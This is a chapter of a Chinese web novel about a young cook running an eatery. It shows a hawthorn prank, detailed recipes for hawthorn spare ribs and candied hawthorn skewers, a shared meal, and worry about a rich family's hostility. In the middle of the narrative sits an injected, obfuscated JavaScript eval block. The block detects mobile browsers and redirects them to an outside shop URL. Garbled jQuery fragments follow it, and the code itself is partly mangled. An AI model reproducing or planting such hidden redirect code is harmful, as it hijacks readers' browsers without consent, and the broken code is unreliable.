风竹小说 > 玄幻魔法 > 短命白月光她只想开食肆(美食) > 45. 山楂排骨+糖葫芦

45. 山楂排骨+糖葫芦

    日头渐盛,院里人渐多起来。

    杨大姐帮着支起锅,绑了葱,切好姜片往沉着排骨的水里丢。矮下身,给灶里添柴。

    听外头又响起齐小娘子的俏声,“这果子真真甜哩,湘姐姐来一个?”

    她心下正气方才被这小丫头骗了一遭,抿着留有酸意的腮帮子,耳朵竖起听着外头动静。

    踩着一地碎影,林湘眸光略过禾穗低着头削竹签攒紧的嘴角,转而瞥向灶房门口频频往这看的身影。

    面前齐翩翩摊着手催促着,“快尝尝,一会儿禾娘子拿去做菜就没得吃了!”

    几人一同在禾记帮忙越发熟稔,其中齐小娘子年纪最小,难免孩子心性。林湘稍微一抿就猜出些什么,也不明着拒绝。

    探手过去,又恍然顿住,面露怀疑之色。

    “真的?那你先尝一个。”

    眼看那手陡然收回去,齐翩翩心里直绷紧,强装着面上不显,“哎呀,湘姐姐你不信我。”

    吞咽着还没吃就已经不断分泌的口水,她边说边往嘴里送,“真的可甜了!”

    “你快尝、尝!”

    迸开的酸,激得牙根一阵发麻,齐翩翩不停吸着嘴里酸味,勉力撑出个正常表情,却对上林湘似笑非笑的目光。

    “是可酸吧?”

    禾穗再忍不住,笑出声来,手上颤得竹棍都拿不稳了。灶房里也爆出一阵笑声,“哈哈哈有法子治你!”

    齐翩翩酸得脸扭在一起,半晌说不出话来,憋得脸通红。

    清脆笑闹声洒了满院,果子都被晒得暖暖发烫,空中浮着一层若有若无的酸香。

    灶房里排骨已经焯过水,揭开冒出的白朦惹得禾穗退开一步。

    个大的山楂留着一会儿做糖葫芦,小些的正好用来做山楂排骨。

    “这红果放进肉里当真好吃?”

    知道今日有好吃的,齐翩翩朝食都没吃多少,此刻亦步亦趋跟进来。

    “不止是好吃,是绝配。”

    和有些水果搭配着肉能让肉质变嫩有异曲同工之妙,山楂能解肉中肥腻之感,且自带果香随着长时间熬煮其中的酸味会变得更加柔和,能让肉入口回味无穷。

    说着禾穗利落将沥干些水分的排骨下锅,煸炒出香味。

    锅里没放多少油,随着煸炒,贴着肉外层覆上微黄色泽,油脂香被炒出来,锅里油光光的。再将排骨铲至一旁,锅中下霜似的糖块。

    炒糖色讲究火候,时间短了挂不上色,时间一长糖的味道便发苦,文火融着不能操之过急。

    待糖块尽数融化,鼓起的大泡转做更密集的小泡,泛着金红之色,锅边紧挨的糖水嘶嘶往锅内缩,便是最佳时机。

    迅疾将排骨投进锅内翻炒,叫每块排骨都均匀裹足糖色,泛着琥珀一般光泽。这还没完,禾穗又沿着锅边倾了半杯黄酒、一勺老醋、适量盐,热气腾锅而起。

    她一面翻炒,齐翩翩在一侧蓄势待发。

    随着一声“下”,沸水落进锅中,水量正好与排骨齐平。禾穗抓了葱段、桂皮、八角下进去。

    “武火煮沸,再转文火煨两刻钟。”禾穗说罢将山楂也下了进去。

    还得留点分次下,前头的煮融了,一会儿收汁,还得再下些山楂,这样菜起锅也好看。

    “好嘞!那我在这边看着。”齐翩翩搬着小马扎坐在灶火前头。

    这边几样菜都备好,禾穗净了手出去。林湘和杨大姐已经将炉子、锅都搬过去了,木板刷了层油放在一边,山楂也挨个穿成串摆好,一切准备就绪。

    “这糖果子,我倒尝过,就是这般熬了糖淋上去?”林湘帮着下糖块,寻思着开口。

    小时候不怕甜,沁了蜜的甜果子裹层糖都能吃进去,现在反而有些受不了那甜腻。这红果酸甜口的做出来,应当没那般腻味?

    “待糖煮好了,再里头一滚就是了。”禾穗看着下糖的量,往锅里加水。

    今天真是一次甜个够。

    看糖块一点点化进去,水色泛着层浅黄,小火慢熬,随着时间流逝,糖浆面上浮起泡来。

    转眼那些微黄色,愈来愈重,滚起的泡密集起来,用筷尖一沾,能拉出晶莹的丝儿来。

    用嘴一抿,脆甜脆甜的。

    禾穗忙上手单手攥着把儿将锅斜下寸许,这口锅浅而大,正好操作,另手一串山楂就这炉火,自还在冒泡的糖浆上头一蘸一滚,再将蘸好的糖葫芦“啪”一下置在涂了层油的板上。

    一滚一“啪”,行云流水。林湘在一旁看着,转眼木板上就整齐码了一溜红果。

    外头裹着晶莹剔透的壳,里头红得发亮,有光漏下来,像这蘸得不是糖而是层灿金暖阳似的。

    看禾穗做得麻利,瞧着也不难,待起第二锅糖水,林湘也想试试。

    “好,你看着些,别烫着了。”

    本是依葫芦画瓢,出来还算像模像样,还是手上没配合好串长了,上头蘸得糖厚,底下挂的糖少,咬下去没那般一致的薄脆,还有些沾牙。

    “嗨呀,我还是别在这费糖了。”林湘退下来。

    人对自己做出来的东西总是有无限包容,纵然有些不美,林湘还是尝完了自己做的那串。

    “锅浅了,是不好挂呢。”禾穗将木板往荫凉地方挪。

    越往后,禾穗用勺往上淋也难挂糖浆。

    不若尝试一下?

    锅内加入少量热水再煮,糖水混合这次要煮得拉丝不断。趁着糖浆未完全凝固,淋满山楂串,两手夹住竹签留空富余那头,支着双臂飞速一搓。

    糖丝随着力道甩开,划出数道金线,再趁此腕子一绕,将那些糖丝裹缠在山楂上。

    “看来我来的正是时候。”

    整个院里都散着一股香甜味,呼吸间都能抿着糖似的。

    王烟凝嗅了几口,凑到那一溜晾凉的糖葫芦跟前,看着漂亮透光的胭脂红果,莹润可爱的紧。

    “今日就是犒劳你们来的,随便吃!”

    “吃什么吃什么!”杨大姐换了齐翩翩出来,人一来就直奔这边,挑了串往嘴里送。

    含糊不清道,“感觉和糖果子不太一样……”

    那表皮的脆“冰封”着里头的果,糖衣在齿间一磕,“冰片”就脆迸进口中,随之就是绵酸的果肉。甜中带酸,这么一综合,越发带味儿,交替着在唇舌间走一遭,又叫那酸津津的后劲勾得再吃一颗。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16782555|185504||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    王烟凝选了那搓丝儿如云的糖葫芦,糖丝一甩纤如发,裹在亮红的果子上像挂了层茸茸亮亮的灯丝。她吃得含蓄,先得越过那层入口即化的微凉甜丝,才尝至脆硬糖衣下的酸。

    吃得是个乐趣,可这如云似雾的亮眼若是放外头少不得卖个好价。

    禾穗甩了最后一根糖葫芦塞进几人手里,去灶房里忙。

    “你们先开开胃,一会儿就能吃饭了。”

    有人也跟着去。

    “既然是一起吃,哪有只让你一人动手的道理?”

    ……

    葡萄藤下石桌边摆上凳,几道菜陆续端上来。

    山楂排骨、荠菜豆腐汤、腊肉炖白菘、荷叶鸡……

    齐翩翩年纪小前后帮忙打下手,第三道菜出自杨大姐之手,荷叶鸡是林湘带来的。几人原是没想到王烟凝也会来,接触不多且本有所拘束,人家却襻膊一打,自煮了锅荠菜豆腐汤。

    “菜都齐了!”

    红润油亮或是青翠白嫩,一桌荤占多数,油水不可谓不好。

    王娘子还带了壶桂花酒,“这不喝点?”

    禾穗眼皮一跳,恍然觉得这一幕有些熟悉。

    下午还得开店,婉拒了后收下这份好意,允诺来日再聚时喝。

    这厢等了半晌终于得以举筷,齐翩翩直落向中央那盘山楂排骨。

    方才她见禾娘子去收汁再煮,山楂滋味被彻底融进肉里,味道浓烈,色泽诱人。

    此刻盘中排骨挂着褐赤汁子,里头点缀的山楂也如玛瑙一般。夹来一块,轻轻拨弄,骨肉立时分离,软烂脱骨。

    入口酸甜,引得口中津液直垂,肉腴不腻,酥烂入味,再拌上一口饭,只觉这光是肉汁拌饭她都能吃上一大碗。

    另几人也都不是第一次吃禾穗做的饭,亦次次都吃得分外满足。

    也不见谁开口,菜饭往口中直送,末了再来碗豆腐汤,俱吃得十分饱。

    几人相争着去收拾碗筷,王烟凝和禾穗在院里走着消食。

    两人并肩,饭饱的安逸散去。王烟凝盯着脚尖,“中秋的事,说来怪我……”

    原本她还不太能确定赵亦学对她的感情,这次倒是全然明白了。

    赵家范围内他会尽可能对她好这不假,但一旦超过……他不愿意,看她能拥有立足能力,脱离赵家、脱离他……

    “他没对你做什么吧?”禾穗看她,有些担忧。

    王烟凝苦笑,“我怎么说也占了个二夫人的名……他应当不会,在赵家他算对我最宽容的了。”

    “那就好。”禾穗点头,眉心慢慢皱起。

    看来以后在外的生意都会有些影响……

    本是互利互惠,但如此一来风险不可预估,上次能看出这少爷更像是脾气上来的一时兴起,要真想出手,不用他出面就可以找人闹事,手段约莫也会比从前禾家二房要脏的多。

    且王烟凝这边,她身在赵家首当其中,还是不能太冒险。

    “那以后……”她们还是少见面为好。

    “等等。”王烟凝忽然按住禾穗的手,某个念头一闪而过,串联出一个她都有些难以置信的事实。

    “或许我有别的办法呢?”